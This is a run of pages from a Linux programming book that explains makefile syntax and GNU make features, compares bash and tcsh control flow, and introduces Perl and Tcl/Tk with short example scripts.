Sometime during your life with Linux you will probably have to deal with make, even if you don't plan to do any programming. It's likely you'll want to patch and rebuild the kernel and that involves running make. If you're lucky, you won't have to muck with the makefiles--but we've tried to direct this book toward unlucky people as well. So in this section, we'll explain enough of the subtle syntax of make so that you're not intimidated by a makefile.

For some of our examples, we'll draw on the current makefile for the Linux kernel. It exploits a lot of extensions in the powerful GNU version of make, so we'll describe some of those as well as the standard make features. A good introduction to make is provided in Managing Projects with make by Andrew Oram and Steve Talbott. GNU extensions are well documented by the GNU make manual.

Most users see make as a way to build object files and libraries from sources and to build executables from object files. More conceptually, make is a general-purpose program that builds targets from prerequisites. The target can be a program executable, a PostScript document, or whatever. The prerequisites can be C code, a TeX text file, and so on.

While you can write simple shell scripts to execute gcc commands that build an executable program, make is special in that it knows which targets need to be rebuilt and which don't. An object file needs to be recompiled only if its corresponding source has changed.

For example, say you have a program that consists of three C source files. If you were to build the executable using the command:

papaya$ gcc -o foo foo.c bar.c baz.c

each time you changed any of the source files, all three would be recompiled and relinked into the executable. If you only changed one source file, this is a real waste of time (especially if the program in question is much larger than a handful of sources). What you really want to do is recompile only the one source file that changed into an object file and relink all of the object files in the program to form the executable. make can automate this process for you.

13.2.1. What make Does

The basic goal of make is to let you build a file in small steps. If a lot of source files make up the final executable, you can change one and rebuild the executable without having to recompile everything. In order to give you this flexibility, make records what files you need to do your build.

Here's a trivial makefile. Call it makefile or Makefile and keep it in the same directory as the source files:

edimh: main.o edit.o
        gcc -o edimh main.o edit.o

main.o: main.c
        gcc -c main.c

edit.o: edit.c
        gcc -c edit.c

This file builds a program named edimh from two source files named main.c and edit.c. You aren't restricted to C programming in a makefile; the commands could be anything.

Three entries appear in the file. Each contains a dependency line that shows how a file is built. Thus the first line says that edimh (the name before the colon) is built from the two object files main.o and edit.o (the names after the colon). What this line tells make is that it should execute the following gcc line whenever one of those object files change. The lines containing commands have to begin with tabs (not spaces).

The command:

papaya$ make edimh

executes the gcc line if there isn't currently any file named edimh. But the gcc line also executes if edimh exists, but one of the object files is newer. Here, edimh is called a target. The files after the colon are called either dependents or prerequisites.

The next two entries perform the same service for the object files. main.o is built if it doesn't exist or if the associated source file main.c is newer. edit.o is built from edit.c.

How does make know if a file is new? It looks at the time stamp, which the filesystem associates with every file. You can see time stamps by issuing the ls -l command. Since the time stamp is accurate to one second, it reliably tells make whether you've edited a source file since the latest compilation or have compiled an object file since the executable was last built.

Let's try out the makefile and see what it does:

papaya$ make edimh
gcc -c main.c
gcc -c edit.c
gcc -o edimh main.o edit.o

If we edit main.c and reissue the command, it rebuilds only the necessary files, saving us some time:

papaya$ make edimh
gcc -c main.c
gcc -o edimh main.o edit.o

It doesn't matter what order the three entries are within the makefile. make figures out which files depend on which and executes all the commands in the right order. Putting the entry for edimh first is convenient, because that becomes the file built by default. In other words, typing make is the same as typing make edimh.

Here's a more extensive makefile. See if you can figure out what it does:

install: all
        mv edimh /usr/local
        mv readimh /usr/local

all: edimh readimh

readimh: read.o edit.o
        gcc -o readimh main.o read.o

edimh: main.o edit.o
        gcc -o edimh main.o edit.o

main.o: main.c
        gcc -c main.c

edit.o: edit.c
        gcc -c edit.c

read.o: read.c
        gcc -c read.c

First we see the target install. This is never going to generate a file; it's called a phony target because it exists just so you can execute the commands listed under it. But before install runs, all has to run, because install depends on all. (Remember, the order of the entries in the file doesn't matter.)

So make turns to the all target. There are no commands under it (this is perfectly legal), but it depends on edimh and readimh. These are real files; each is an executable program. So make keeps tracing back through the list of dependencies until it arrives at the .c files, which don't depend on anything else. Then it painstakingly rebuilds each of the targets.

Here is a sample run (you may need root privilege to install the files in the /usr/local directory):

papaya$ make install
gcc -c main.c
gcc -c edit.c
gcc -o edimh main.o edit.o
gcc -c read.c
gcc -o readimh main.o read.o
mv edimh /usr/local
mv readimh /usr/local

So the effect of this makefile is to do a complete build and install. First it builds the files needed to create edimh. Then it builds the additional object file it needs to create readmh. With those two executables created, the all target is satisfied. Now make can go on to build the install target, which means moving the two executables to their final home.

Many makefiles, including the ones that build Linux, contain a variety of phony targets to do routine activities. For instance, the makefile for the Linux kernel includes commands to remove temporary files:

clean:  archclean
        rm -f kernel/ksyms.lst
        rm -f core `find .  -name '*.[oas]' -print`
        .
        .
        .

and to create a list of object files and the header files they depend on (this is a complicated but important task; if a header file changes, you want to make sure the files that refer to it are recompiled):

depend dep:
      touch tools/version.h
      for i in init/*.c;do echo -n "init/";$(CPP) -M $$i;done > .tmpdep
      .
      .
      .

Some of these shell commands get pretty complicated; we'll look at makefile commands later in this chapter, in the section "Section 13.2.5, "Multiple Commands"."

13.2.2. Some Syntax Rules

The hardest thing about maintaining makefiles, at least if you're new to them, is getting the syntax right. OK, let's be straight about it, the syntax of make is really stupid. If you use spaces where you're supposed to use tabs or vice versa, your makefile blows up. And the error messages are really confusing.

Always put a tab at the beginning of a command--not spaces. And don't use a tab before any other line.

You can place a hash mark (#) anywhere on a line to start a comment. Everything after the hash mark is ignored.

If you put a backslash at the end of a line, it continues on the next line. That works for long commands and other types of makefile lines too.

Now let's look at some of the powerful features of make, which form a kind of programming language of their own.

13.2.3. Macros

When people use a filename or other string more than once in a makefile, they tend to assign it to a macro. That's simply a string that make expands to another string. For instance, you could change the beginning of our trivial makefile to read:

OBJECTS = main.o edit.o

edimh: $(OBJECTS)
        gcc -o edimh $(OBJECTS)

When make runs, it simply plugs in main.o edit.o wherever you specify $(OBJECTS). If you have to add another object file to the project, just specify it on the first line of the file. The dependency line and command will then be updated correspondingly.

Don't forget the parentheses when you refer to $(OBJECTS). Macros may resemble shell variables like $HOME and $PATH, but they're not the same.

One macro can be defined in terms of another macro, so you could say something like:

ROOT = /usr/local
HEADERS = $(ROOT)/include
SOURCES = $(ROOT)/src

In this case, HEADERS evaluates to the directory /usr/local/include and SOURCES to /usr/local/src. If you are installing this package on your system and don't want it to be in /usr/local, just choose another name and change the line that defines ROOT.

By the way, you don't have to use uppercase names for macros, but that's a universal convention.

An extension in GNU make allows you to add to the definition of a macro. This uses a := string in place of an equal sign:

DRIVERS        =drivers/block/block.a

ifdef CONFIG_SCSI
DRIVERS := $(DRIVERS) drivers/scsi/scsi.a
endif

The first line is a normal macro definition, setting the DRIVERS macro to the filename drivers/block/block.a. The next definition adds the filename drivers/scsi/scsi.a. But it takes effect only if the macro CONFIG_SCSI is defined. The full definition in that case becomes:

drivers/block/block.a drivers/scsi/scsi.a

So how do you define CONFIG_SCSI? You could put it in the makefile, assigning any string you want:

CONFIG_SCSI = yes

But you'll probably find it easier to define it on the make command line. Here's how to do it:

papaya$ make CONFIG_SCSI=yes target_name

One subtlety of using macros is that you can leave them undefined. If no one defines them, a null string is substituted (that is, you end up with nothing where the macro is supposed to be). But this also give you the option of defining the macro as an environment variable. For instance, if you don't define CONFIG_SCSI in the makefile, you could put this in your .bashrc file, for use with the bash shell:

export CONFIG_SCSI=yes

Or put this in .cshrc if you use csh or tcsh:

setenv CONFIG_SCSI yes

All your builds will then have CONFIG_SCSI defined.

13.2.4. Suffix Rules and Pattern Rules

For something as routine as building an object file from a source file, you don't want to specify every single dependency in your makefile. And you don't have to. Unix compilers enforce a simple standard (compile a file ending in the suffix .c to create a file ending in the suffix .o) and make provides a feature called suffix rules to cover all such files.

Here's a simple suffix rule to compile a C source file, which you could put in your makefile:

.c.o:
        gcc -c $(CFLAGS) $<

The .c.o: line means "use a .c prerequisite to build a .o file." CFLAGS is a macro into which you can plug any compiler options you want: -g for debugging, for instance, or -O for optimization. The string $< is a cryptic way of saying "the prerequisite." So the name of your .c file is plugged in when make executes this command.

Here's a sample run using this suffix rule. The command line passes both the -g option and the -O option:

papaya$ make CFLAGS="-O -g" edit.o
gcc -c -O -g edit.c

You actually don't have to specify this suffix rule in your makefile, because something very similar is already built into make. It even uses CFLAGS, so you can determine the options used for compiling just by setting that variable. The makefile used to build the Linux kernel currently contains the following definition, a whole slew of gcc options:

CFLAGS = -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -pipe

While we're discussing compiler flags, one set is seen so often that it's worth a special mention. This is the -D option, which is used to define symbols in the source code. Since there are all kinds of commonly used symbols appearing in #ifdefs, you may need to pass lots of such options to your makefile, such as -DDEBUG or -DBSD. If you do this on the make command line, be sure to put quotation marks or apostrophes around the whole set. This is because you want the shell to pass the set to your makefile as one argument:

papaya$ make CFLAGS="-DDEBUG -DBSD" …

GNU make offers something called pattern rules, which are even better than suffix rules. A pattern rule uses a percent sign to mean "any string." So C source files would be compiled using a rule like the following:

%.o: %.c
        gcc -c -o $@ $(CFLAGS) $<

Here the output file %.o comes first, and the prerequisite %.c comes after a colon. In short, a pattern rule is just like a regular dependency line, but it contains percent signs instead of exact filenames.

We see the $< string to refer to the prerequisite, but we also see $@, which refers to the output file. So the name of the .o file is plugged in there. Both of these are built-in macros; make defines them every time it executes an entry.

Another common built-in macro is $*, which refers to the name of the prerequisite stripped of the suffix. So if the prerequisite is edit.c, the string $*.s would evaluate to edit.s (an assembly language source file).

Here's something useful you can do with a pattern rule that you can't do with a suffix rule: you add the string _dbg to the name of the output file, so that later you can tell that you compiled it with debugging information:

%_dbg.o: %.c
        gcc -c -g -o $@ $(CFLAGS) $<

DEBUG_OBJECTS = main_dbg.o edit_dbg.o

edimh_dbg: $(DEBUG_OBJECTS)
        gcc -o $@ $(DEBUG_OBJECTS)

Now you can build all your objects in two different ways: one with debugging information and one without. They'll have different filenames, so you can keep them in one directory:

papaya$ make edimh_dbg
gcc -c -g -o main_dbg.o  main.c
gcc -c -g -o edit_dbg.o  edit.c
gcc -o edimh_dbg  main_dbg.o edit_dbg.o

13.2.5. Multiple Commands

Any shell commands can be executed in a makefile. But things can get kind of complicated because make executes each command in a separate shell. So this would not work:

target:
        cd obj
        HOST_DIR=/home/e
        mv *.o $HOST_DIR

Neither the cd command nor the definition of the variable HOST_DIR have any effect on subsequent commands. You have to string everything together into one command. The shell uses a semicolon as a separator between commands, so you can combine them all on one line like this:

target:
        cd obj ; HOST_DIR=/home/e ; mv *.o $$HOST_DIR

One more change: to define and use a shell variable within the command, you have to double the dollar sign. This lets make know that you mean it to be a shell variable, not a macro.

You may find the file easier to read if you break the semicolon-separated commands onto multiple lines, using backslashes so that make considers them one line:

target:
        cd obj ; \
        HOST_DIR=/home/e ; \
        mv *.o $$HOST_DIR

Sometimes makefiles contain their own make commands; this is called recursive make. It looks like this:

linuxsubdirs: dummy
        set -e; for i in $(SUBDIRS); do $(MAKE) -C $$i; done

The macro $(MAKE) invokes make. There are a few reasons for nesting makes. One reason, which applies to this example, is to perform builds in multiple directories (each of these other directories has to contain its own makefile). Another reason is to define macros on the command line, so you can do builds with a variety of macro definitions.

GNU make offers another powerful interface to the shell as an extension. You can issue a shell command and assign its output to a macro. A couple of examples can be found in the Linux kernel makefile, but we'll just show a simple example here:

HOST_NAME = $(shell uname -n)

This assigns the name of your network node--the output of the uname -n command--to the macro HOST_NAME.

make offers a couple of conventions you may occasionally want to use. One is to put an at-sign before a command, which keeps make from echoing the command when it's executed:

@if [ -x /bin/dnsdomainname ]; then \
   echo #define LINUX_COMPILE_DOMAIN \"`dnsdomainname`\"; \
else \
   echo #define LINUX_COMPILE_DOMAIN \"`domainname`\"; \
fi >> tools/version.h

Another convention is to put a hyphen before a command, which tells make to keep going even if the command fails. This may be useful if you want to continue after an mv or cp command fails:

- mv edimh /usr/local
- mv readimh /usr/local

13.2.6. Including Other Makefiles

Large projects tend to break parts of their makefiles into separate files. This makes it easy for different makefiles in different directories to share things, particularly macro definitions. The line:

include filename

reads in the contents of filename. You can see this in the Linux kernel makefile, for instance:

include .depend

If you look in the file .depend, you'll find a bunch of makefile entries: to be exact, lines declaring that object files depend on header files. (By the way, .depend might not exist yet; it has to be created by another entry in the makefile.)

Sometimes include lines refer to macros instead of filenames, as in:

include ${INC_FILE}

In this case, INC_FILE must be defined either as an environment variable or as a macro. Doing things this way gives you more control over which file is used.

13.2.7. Autoconf and Automake

Writing Makefiles for a larger project usually is a boring and time-consuming task, especially if the programs are expected to be compiled on multiple platforms. From the GNU project come two tools called Autoconf and Automake that have a steep learning curve but greatly simplify the task of creating portable makefiles once mastered. In addition, libtool helps a lot in creating shared libraries portably. Describing how to use those programs is well beyond the scope of this book, but you can get them from ftp://ftp.gnu.org/gnu/.

Previous | Home | Next
13. Programming Languages | Book Index | 13.3. Shell Programming
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Shell Programming (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

13.3. Shell Programming

In the section "Section 4.5, "Shells"" in Chapter 4, "Basic Unix Commands and Concepts", we discussed the various shells available for Linux, but something should be said about them in terms of programming. The differences come through most clearly when it comes to writing shell scripts. The Bourne shell and C shell command languages are slightly different, but the distinction is not obvious with most normal interactive use. In fact, many of the distinctions arise only when you attempt to use bizarre, little-known features of either shell, such as word substitution or some of the more oblique parameter expansion functions.

The most notable difference between Bourne and C shells is the form of the various flow-control structures, including if …then and while loops. In the Bourne shell, an if …then takes the form:

if list
then
  commands
elif list
then
  commands
else
  commands
fi
where list is just a sequence of commands (more generally called "pipelines") to be used as the conditional expression for the if and elif (short for "else if") commands. The conditional is considered to be true if the exit status of the list is zero (unlike Boolean expressions in C, in shell terminology an exit status of zero indicates successful completion). The commands enclosed in the conditionals are simply commands to execute if the appropriate list is true. The then after each list must be on a new line to distinguish it from the list itself; alternately, you can terminate the list with a ;. The same holds true for the commands.

An example is:

if [ "$PS1" ]; then
  PS1="\h:\w% "
fi
This sequence checks to see whether the shell is a login shell (that is, whether the prompt variable PS1 is set) and if so, resets the prompt to \h:\w%, which is a prompt expansion standing for the hostname followed by the current working directory. For example:
loomer:/home/loomer/mdw%

The […] conditional appearing after the if is a bash built-in command, shorthand for test. The test command and its abbreviated equivalent provide a convenient mechanism for testing values of shell variables, string equivalence, and so forth. Instead of using […], you could call any set of commands after the if, as long as the last command's exit value indicates the value of the conditional.

Under tcsh, an if …then compound statement looks like the following:

if (expression) then
  commands
else if (expression) then
  commands
else
  commands
endif
The difference here is that the expression after the if is an arithmetic or logical expression evaluated internally by tcsh, while with bash the conditional expression is a command, and the expression returns true or false based on the command's exit status. Within bash, using test or […] is similar to an arithmetic expression as used in tcsh.

With tcsh, however, if you wish to run external commands within the expression, you must enclose the command in braces: {command}.

The equivalent of the previous bash sequence in tcsh is:

if ($?prompt) then
  set prompt="%m:%/%% "
endif
where tcsh 's own prompt special characters have been used. As you can see, tcsh boasts a command syntax similar to the C language, and expressions are arithmetically and logically oriented. In bash, however, almost everything is an actual command, and expressions are evaluated in terms of exit status values. There are analogous features in either shell, but the approach is slightly different.

A similar change exists with the while loop. In bash, this takes the form:

while list
do
  commands
done
You can negate the effect by replacing the word while with until. Again, list is just a command pipeline to be executed, and the exit status determines the result (zero for success and nonzero for failure). Under tcsh the loop looks like:
while (expression)
  commands
end
where expression is a logical expression to be evaluated within tcsh.

This example should be enough to get a head start on understanding the overall differences of shell scripts under bash and tcsh. We encourage you to read the bash and tcsh manual pages (although they barely serve as a tutorial--more as a reference) and Info pages, if you have them available. Various books and tutorials on using these two shells are available as well; in fact, any book on shell programming will do, and you can interpolate the advanced features of bash and tcsh over the standard Bourne and C shells using the manual pages. Learning the bash Shell by Cameron Newham and Bill Rosenblatt and Using csh and tcsh by Paul DuBois are also good investments.

Previous | Home | Next
13.2. Makefiles | Book Index | 13.4. Using Perl
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Using Perl (Running Linux)

 Running LinuxSearch this book
Previous Next

13.4. Using Perl

Perl may well be the best thing to happen to the Unix programming environment in years; it is worth the price of admission to Linux alone. Perl is a text- and file-manipulation language, originally intended to scan large amounts of text, process it, and produce nicely formatted reports from that data. However, as Perl has matured, it has developed into an all-purpose scripting language, capable of doing everything from managing processes to communicating via TCP/IP over a network. Perl is free software developed by Larry Wall, the Unix guru who brought us the rn newsreader and various popular tools, such as patch.

Perl's main strength is that it incorporates the most widely used features of languages, such as C, sed, awk, and various shells, into a single interpreted script language. In the past, getting a complicated job done was a matter of juggling these various languages into complex arrangements, often entailing sed scripts piping into awk scripts piping into shell scripts and eventually piping into a C program. Perl gets rid of the common Unix philosophy of using many small tools to handle small parts of one large problem. Instead, Perl does it all, and it provides many different ways of doing the same thing. In fact, this chapter was written by an Artificial Intelligence program developed in Perl. ( Just kidding, Larry.)

Perl provides a nice programming interface to many features that were sometimes difficult to use in other languages. For example, a common task of many Unix system administration scripts is to scan a large amount of text, cut fields out of each line of text based on a pattern (usually represented as a regular expression), and produce a report based on the data. Let's say that you want to process the output of the Unix last command, which displays a record of login times for all users on the system, as so:

mdw       ttypf    loomer.vpizza.co Sun Jan 16 15:30 - 15:54  (00:23)
larry     ttyp1    muadib.oit.unc.e Sun Jan 16 15:11 - 15:12  (00:00)
johnsonm  ttyp4    mallard.vpizza.c Sun Jan 16 14:34 - 14:37  (00:03)
jem       ttyq2    mallard.vpizza.c Sun Jan 16 13:55 - 13:59  (00:03)
linus     FTP      kruuna.helsinki. Sun Jan 16 13:51 - 13:51  (00:00)
linus     FTP      kruuna.helsinki. Sun Jan 16 13:47 - 13:47  (00:00)

If we wanted to count up the total login time for each user (given in parentheses in the last field), we could write a sed script to splice the time values from the input, an awk script to sort the data for each user and add up the times, and another awk script to produce a report based on the accumulated data. Or, we could write a somewhat complex C program to do the entire task--complex because, as any C programmer knows, text-processing functions within C are somewhat limited.

However, this task can be easily accomplished by a simple Perl script. The facilities of I/O, regular-expression pattern matching, sorting by associative arrays, and number crunching are all easily accessed from a Perl program with little overhead. Perl programs are generally short and to the point, without a lot of technical mumbo-jumbo getting in the way of what you want your program to actually do.

Using Perl under Linux is really no different than on other Unix systems. Several good books on Perl already exist, including Programming Perl, by Larry Wall, Randal L. Schwartz, and Tom Christiansen; Learning Perl, by Randal L. Schwartz and Tom Christiansen; Advanced Perl Programming by Sriram Srinivasan; and Perl Cookbook by Tom Christiansen and Nathan Torkington. Nevertheless, we think Perl is such a great tool that it deserves something in the way of an introduction. After all, Perl is free software, as is Linux; they go hand in hand.

13.4.1. A Sample Program

What we really like about Perl is that it lets you immediately jump to the task at hand; you don't have to write extensive code to set up data structures, open files or pipes, allocate space for data, and so on. All these features are taken care of for you in a very friendly way.

The example of login times, just discussed, serves to introduce many of the basic features of Perl. First, we'll give the entire script (complete with comments) and then a description of how it works. This script reads the output of the last command (see the previous example) and prints an entry for each user on the system, describing the total login time and number of logins for each. (Line numbers are printed to the left of each line for reference):

1       #!/usr/bin/perl
2
3       while (<STDIN>) {   # While we have input...
4         # Find lines and save username, login time
5         if (/^(\S*)\s*.*\((.*):(.*)\)$/) {
6           # Increment total hours, minutes, and logins
7           $hours{$1} += $2;
8           $minutes{$1} += $3;
9           $logins{$1}++;
10        }
11      }
12
13      # For each user in the array...
14      foreach $user (sort(keys %hours)) {
15         # Calculate hours from total minutes
16         $hours{$user} += int($minutes{$user} / 60);
17         $minutes{$user} %= 60;
18         # Print the information for this user
19         print "User $user, total login time ";
20         # Perl has printf, too
21         printf "%02d:%02d, ", $hours{$user}, $minutes{$user};
22         print "total logins $logins{$user}.\n";
23      }

Line 1 tells the loader that this script should be executed through Perl, not as a shell script. Line 3 is the beginning of the program. It is the head of a simple while loop, which C and shell programmers will be familiar with: the code within the braces from lines 4-10 should be executed while a certain expression is true. However, the conditional expression <STDIN> looks funny. Actually, this expression is true whenever there is input on the STDIN filehandle--which refers to standard input, as you might guess.

Perl reads input one line at a time (unless you tell it to do otherwise). It also reads by default from standard input, again, unless you tell it to do otherwise. Therefore, this while loop will continuously read lines from standard input, until there are no lines left to be read.

The evil-looking mess on line 5 is just an if statement. As with most programming languages, the code within the braces (on lines 6-9) will be executed if the expression that follows the if is true. But what is the expression between the parentheses? Those readers familiar with Unix tools such as grep and sed will peg this immediately as a regular expression: a cryptic but useful way to represent a pattern to be matched in the input text. Regular expressions are usually found between delimiting slashes (/…/).

This particular regular expression matches lines of the form:

mdw       ttypf    loomer.vpizza.co Sun Jan 16 15:30 - 15:54  (00:23)
 This expression also "remembers" the username (mdw) and the total login time for this entry (00:23). You needn't worry about the expression itself; building regular expressions is a complex subject. For now, all that you need to know is that this if statement finds lines of the form given in the example, and splices out the username and login time for processing. The username is assigned to the variable $1, the hours to the variable $2, and the minutes to $3. (Variables in Perl begin with the $ character, but unlike the shell, the $ must be used when assigning to the variable as well.) This assignment is done by the regular expression match itself (anything enclosed in parentheses in a regular expression is saved for later use to one of the variables $1 through $9).

Lines 6-9 actually process these three pieces of information. And they do it in an interesting way: through the use of an associative array. Whereas a normal array is indexed with a number as a subscript, an associative array is indexed by an arbitrary string. This lends itself to many powerful applications; it allows you to associate one set of data with another set of data gathered on the fly. In our short program, the keys are the usernames, gathered from the output of last. We maintain three associative arrays, all indexed by username: hours, which records the total number of hours the user logged in; minutes, which records the number of minutes; and logins, which records the total number of logins.

As an example, referencing the variable $hours{'mdw'} returns the total number of hours that the user mdw was logged in. Similarly, if the username mdw is stored in the variable $1, referencing $hours{$1} produces the same effect.

In lines 6-9, we increment the values of these arrays according to the data on the present line of input. For example, given the input line:

jem       ttyq2    mallard.vpizza.c Sun Jan 16 13:55 - 13:59  (00:03)
Line 7 increments the value of the hours array, indexed with $1 (the username, jem ), by the number of hours that jem was logged in (stored in the variable $2). The Perl increment operator += is equivalent to the corresponding C operator. Line 8 increments the value of minutes for the appropriate user similarly. Line 9 increments the value of the logins array by one, using the ++ operator.

Associative arrays are one of the most useful features of Perl. They allow you to build up complex databases while parsing text. It would be nearly impossible to use a standard array for this same task. We would first have to count the number of users in the input stream and then allocate an array of the appropriate size, assigning a position in the array to each user (through the use of a hash function or some other indexing scheme). An associative array, however, allows you to index data directly using strings and without regard for the size of the array in question. (Of course, performance issues always arise when attempting to use large arrays, but for most applications this isn't a problem.)

Let's move on. Line 14 uses the Perl foreach statement, which you may be used to if you write shell scripts. (The foreach loop actually breaks down into a for loop, much like that found in C.) Here, in each iteration of the loop, the variable $user is assigned the next value in the list given by the expression sort(keys %hours). %hours simply refers to the entire associative array hours that we have constructed. The function keys returns a list of all the keys used to index the array, which is in this case a list of usernames. Finally, the sort function sorts the list returned by keys. Therefore, we are looping over a sorted list of usernames, assigning each username in turn to the variable $user.

Lines 16 and 17 simply correct for situations where the number of minutes is greater than 60; it determines the total number of hours contained in the minutes entry for this user and increments hours accordingly. The int function returns the integral portion of its argument. (Yes, Perl handles floating-point numbers as well; that's why use of int is necessary.)

Finally, lines 19-22 print the total login time and number of logins for each user. The simple print function just prints its arguments, like the awk function of the same name. Note that variable evaluation can be done within a print statement, as on lines 19 and 22. However, if you want to do some fancy text formatting, you need to use the printf function (which is just like its C equivalent). In this case, we wish to set the minimum output length of the hours and minutes values for this user to 2 characters wide, and to left-pad the output with zeroes. To do this, we use the printf command on line 21.

If this script is saved in the file logintime, we can execute it as follows:

papaya$ last | logintime
User johnsonm, total login time 01:07, total logins 11.
User kibo, total login time 00:42, total logins 3.
User linus, total login time 98:50, total logins 208.
User mdw, total login time 153:03, total logins 290.
papaya$

Of course, this example doesn't serve well as a Perl tutorial, but it should give you some idea of what it can do. We encourage you to read one of the excellent Perl books out there to learn more.

13.4.2. More Features

The previous example introduced the most commonly used Perl features by demonstrating a living, breathing program. There is much more where that came from--in the way of both well-known and not-so-well-known features.

As we mentioned, Perl provides a report-generation mechanism beyond the standard print and printf functions. Using this feature, the programmer defines a report "format" that describes how each page of the report will look. For example, we could have included the following format definition in our example:

format STDOUT_TOP =
User           Total login time     Total logins
-------------- -------------------- -------------------
.
format STDOUT =
@<<<<<<<<<<<<< @<<<<<<<<            @####
$user,         $thetime,            $logins{$user}
.

The STDOUT_TOP definition describes the header of the report, which will be printed at the top of each page of output. The STDOUT format describes the look of each line of output. Each field is described beginning with the @ character; @<<<< specifies a left-justified text field, and @#### specifies a numeric field. The line below the field definitions gives the names of the variables to use in printing the fields. Here, we have used the variable $thetime to store the formatted time string.

To use this report for the output, we replace lines 19-22 in the original script with the following:

$thetime = sprintf("%02d:%02d", $hours{$user}, $minutes{$user});
write;
The first line uses the sprintf function to format the time string and save it in the variable $thetime; the second line is a write command that tells Perl to go off and use the given report format to print a line of output.

Using this report format, we'll get something looking like:

User           Total login time     Total logins
-------------- -------------------- -------------------
johnsonm       01:07                   11
kibo           00:42                    3
linus          98:50                  208
mdw            153:03                 290

Using other report formats we can achieve different (and better-looking) results.

Perl comes with a huge number of modules that you can plug in to your programs for quick access to very powerful features. A popular online archive called CPAN (for Comprehensive Perl Archive Network) contains even more modules: net modules that let you send mail and carry on other networking tasks, modules for dumping data and debugging, modules for manipulating dates and times, modules for math functions--the list could go on for pages.

If you hear of an interesting module, check first to see whether it's already loaded on your system. You can look at the directories where modules are located (probably under /usr/lib/perl5 ) or just try loading in the module and see if it works. Thus, the command:

$ perl -MCGI -e 1
Can't locate CGI in @INC...
gives you the sad news that the CGI.pm module (which we'll use in "Section 16.1.5.2, "Writing the CGI script"" in Chapter 16, "The World Wide Web and Electronic Mail", to handle a web form) is not on your system. CGI.pm is popular enough to be included in the standard Perl distribution, and you can install it from there, but for many modules you will have to go to CPAN (and some don't make it into CPAN either). CPAN, which is maintained by Jarkko Hietaniemi and Andreas König, resides on dozens of mirror sites around the world because so many people want to download its modules. The easiest way to get onto CPAN is to visit http://www.perl.com/CPAN-local/.

The following program--which we wanted to keep short, and therefore we neglected to find a useful task to perform--shows two modules, one that manipulates dates and times in a sophisticated manner and another that sends mail. The disadvantage of using such powerful features is that a huge amount of code is loaded from them, making the runtime size of the program quite large:

#! /usr/local/bin/perl

# We will illustrate Date and Mail modules
use Date::Manip;
use Mail::Mailer;

# Illustration of Date::Manip module
if ( Date_IsWorkDay( "today", 1) )  {

    # Today is a work day
    $date = ParseDate( "today" );

}
else {

    # Today is not a work day, so choose next work day
    $date=DateCalc( "today" , "+ 1 business day" );

}

# Convert date from compact string to readable string like "April  8"
$printable_date = UnixDate( $date , "%B %e" );

# Illustration of Mail::Mailer module
my ($to) = "the_person\@you_want_to.mail_to";
my ($from) = "owner_of_script\@system.name";

$mail = Mail::Mailer->new;

$mail->open(
            {
                From => $from,
                To => $to,
                Subject => "Automated reminder",
            }
           );

print $mail <<"MAIL_BODY";
If you are at work on or after
$printable_date,
you will get this mail.
MAIL_BODY

$mail->close;

# The mail has been sent! (Assuming there were no errors.)

The reason packages are so easy to use is that Perl added object-oriented features in version 5. The Date module used in the previous example is not object oriented, but the Mail module is. The $mail variable in the example is a Mailer object, and it makes mailing a messages straightforward through methods like new, open, and close.

To do some major task like parsing HTML, just read in the proper CGI package and issue a new command to create the proper object--all the functions you need for parsing HTML will then be available.

If you want to give a graphical interface to your Perl script, you can use the Tk module, which originally was developed for use with the Tcl language, or the Gtk module, which uses the newer GIMP Toolkit (GTK). The book Learning Perl/Tk by Nancy Walsh shows you how to do graphics with that module. Both Tcl and Tk are discussed later in the chapter.

Another abstruse feature of Perl is its ability to (more or less) directly access several Unix system calls, including interprocess communications. For example, Perl provides the functions msgctl, msgget, msgsnd, and msgrcv from System V IPC. Perl also supports the BSD socket implementation, allowing communications via TCP/IP directly from a Perl program. No longer is C the exclusive language of networking daemons and clients. A Perl program loaded with IPC features can be very powerful indeed--especially considering that many client-server implementations call for advanced text-processing features such as those provided by Perl. It is generally easier to parse protocol commands transmitted between client and server from a Perl script, rather than write a complex C program to do the work.

As an example, take the well-known SMTP daemon, which handles the sending and receiving of electronic mail. The SMTP protocol uses internal commands such as recv from and mail to to enable the client to communicate with the server. Either the client or the server, or both, can be written in Perl, and can have full access to Perl's text- and file-manipulation features as well as the vital socket communication functions.

Perl is a fixture of CGI programming, that is, writing small programs that run on a web server and help web pages becoming more interactive.

As a far-out example of the kinds of things Perl and IPC can do, Larry Wall was reportedly considering rewriting the rn newsreader entirely in Perl.

13.4.3. Pros and Cons

One of the features of (some might say "problems with") Perl is the ability to abbreviate--and obfuscate--code considerably. In the previous script, we have used several common shortcuts. For example, input into the Perl script is read into the variable $_. However, most operations act on the variable $_ by default, so it's usually not necessary to reference $_ by name.

Perl also gives you several ways of doing the same thing, which can, of course, be either a blessing or a curse depending on how you look at it. In Programming Perl, Larry Wall gives the following example of a short program that simply prints its standard input. All of the following statements are equivalent:

while ($_ = <STDIN>) { print; }
while (<STDIN>) { print; }
for (;<STDIN>;) { print; }
print while $_ = <STDIN>;
print while <STDIN>;
The programmer can use the syntax most appropriate for the situation at hand.

Perl is popular, and not just because it is useful. Because Perl provides much in the way of eccentricity, it gives hackers something to play with, so to speak. Perl programmers are constantly outdoing each other with trickier bits of code. Perl lends itself to interesting kludges, neat hacks, and both very good and very bad programming. Unix programmers see it as a challenging medium to work with--because Perl is relatively new, not all of the possibilities have been exploited. Even if you find Perl too baroque for your taste, there is still something to be said for its artistry. The ability to call oneself a "Perl hacker" is a point of pride within the Unix community.

Previous | Home | Next
13.3. Shell Programming | Book Index | 13.5. Programming in Tcl and Tk
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Programming in Tcl and Tk (Running Linux)

 Running LinuxSearch this book
Previous Next

13.5. Programming in Tcl and Tk

Tool Command Language, or Tcl, (pronounced "tickle") is a simple, interpreted language that is similar, in some respects, to the Bourne shell or Perl. The real benefit of Tcl is that it can be extended as well as embedded in other applications. It is particularly popular when used with the Tk extension, which offers about the simplest interface you could get to program with windows. As an additional benefit, you can run your Tcl/Tk problems without much hassle on both Unix, Windows, and the Macintosh.

By extended, we mean that you can add new commands to the Tcl language, simply by writing a few routines in C. By embedded, we mean that you can link a C program to the Tcl libraries, giving that program full access to the Tcl language. Whereas most Tcl programs are written as scripts and executed by a precompiled Tcl interpreter, you can include the interpreter routines in your own application.

